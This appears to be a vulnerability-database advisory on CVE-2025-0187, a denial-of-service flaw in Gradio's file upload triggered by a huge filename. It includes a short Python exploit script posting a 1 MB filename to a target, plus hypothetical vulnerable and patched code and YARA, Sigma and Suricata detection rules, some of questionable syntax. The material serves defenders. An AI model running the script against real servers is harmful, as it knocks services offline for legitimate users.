CVE-2025-0187
Executive Summary
CVE-2025-0187 is a Denial of Service (DoS) vulnerability in the file upload feature of gradio-app/gradio version 0.39.1. The vulnerability is caused by improper handling of form-data with an excessively large filename in the file upload request. An attacker can send a specially crafted payload with a large filename, overwhelming the server and causing it to become unresponsive, leading to unavailability for legitimate users. The CVSS score is 7.5 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, indicating network exploitability, low attack complexity, no privileges required, no user interaction, and high availability impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gradio is a Python package available on PyPI. This vulnerability affects the file upload functionality, which is a core feature of the library. Organizations using Gradio in production environments should assess their exposure and apply mitigations immediately. The package is widely used for building machine learning demos and web interfaces, making this a potential supply chain risk if the vulnerable version is embedded in downstream applications.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is altered.
- Availability (A): High (H) – The server becomes completely unresponsive.
Threat Level: High. The ease of exploitation and lack of authentication make this a significant risk for any publicly accessible Gradio instance.
Deep Dive & Mechanics
The vulnerability resides in the file upload endpoint of Gradio. When a user uploads a file, the server processes the multipart/form-data request. The filename is extracted from the Content-Disposition header. In the vulnerable version, there is no limit on the size of the filename. An attacker can send a request with a filename that is extremely large (e.g., several megabytes or gigabytes). The server attempts to allocate memory for this filename, leading to resource exhaustion (CPU and memory). This causes the server to become unresponsive, denying service to legitimate users.
The core issue is a lack of input validation and resource limits on the filename field. The server does not check the length of the filename before processing it, allowing an attacker to trigger uncontrolled resource consumption.
Vulnerable vs. Patched Code
Vulnerable Code (gradio 0.39.1):
# In the file upload handler
def handle_upload(request):
# No validation on filename length
filename = request.files['file'].filename
# Process the file...
Patched Code (Hypothetical):
# In the file upload handler
MAX_FILENAME_LENGTH = 255 # Or a reasonable limit
def handle_upload(request):
filename = request.files['file'].filename
if len(filename) > MAX_FILENAME_LENGTH:
return "Filename too long", 400
# Process the file...
The patch would add a check on the filename length, rejecting requests with excessively long filenames before any resource-intensive processing occurs.
Exploitation & Lab Setup
Red Team
Objective: Cause a Denial of Service on a Gradio server.
Lab Setup:
- Deploy a vulnerable Gradio instance (version 0.39.1) on a local machine or container.
- Use a tool like
curlor a custom Python script to send a malicious request.
Exploit Script (Python):
import requests
url = "http://target:7860/upload" # Adjust endpoint as needed
large_filename = "A" * 1000000 # 1 MB filename
# Craft multipart form-data with large filename
files = {'file': (large_filename, 'dummy content', 'text/plain')}
response = requests.post(url, files=files)
print(f"Status: {response.status_code}")
Execution:
- Run the script against the target.
- The server should become unresponsive or return errors for subsequent requests.
Expected Outcome: The server's CPU and memory usage spike, and it becomes unable to handle legitimate requests.
Blue Team
Objective: Detect and mitigate the attack.
Detection:
- Monitor for requests with abnormally large filenames in the upload endpoint.
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Apply input validation on the server side (if patching is not possible).
- Use a Web Application Firewall (WAF) to block requests with filenames exceeding a certain length.
- Implement rate limiting on the upload endpoint.
Indicators of Compromise (IOCs)
- Network Traffic: HTTP POST requests to the file upload endpoint with an excessively large filename in the
Content-Dispositionheader. - Logs: Server logs showing repeated upload attempts with filenames of unusual length (e.g., > 1024 characters).
- System Metrics: High CPU and memory usage on the server, correlated with upload requests.
- Error Messages: "Out of memory" or "Connection refused" errors from the server.
Detection Engineering
YARA Rule
rule CVE_2025_0187_DoS_Large_Filename {
meta:
description = "Detects HTTP requests with excessively large filenames targeting Gradio file upload"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0187"
strings:
$content_disposition = /Content-Disposition: form-data; name="file"; filename="[^"]{1024,}/
condition:
$content_disposition
}
Sigma Rule
title: CVE-2025-0187 Gradio DoS via Large Filename
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally large filenames in Gradio file uploads
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload' # Adjust as needed
cs(User-Agent): '*' # Any user agent
cs(Content-Type): 'multipart/form-data*'
cs(Content-Disposition): '*filename=*'
condition: selection and |len(cs(Content-Disposition)) > 2048
falsepositives:
- Legitimate large filenames (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0187 Gradio DoS Large Filename"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/Content-Disposition: form-data; name=\"file\"; filename=\"[^\"]{1024,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, upgrade to a patched version of Gradio (once available). If not, apply the following mitigations:
- Implement input validation on the filename length in the application code.
- Use a reverse proxy (e.g., Nginx) to limit request body size and filename length.
- Configure a Web Application Firewall (WAF) to block requests with filenames exceeding a reasonable length (e.g., 255 characters).
- Long-term: Monitor the Gradio project for official patches and apply them promptly. Conduct regular security audits of dependencies.
- Detection: Deploy the YARA, Sigma, and Suricata rules provided to detect exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.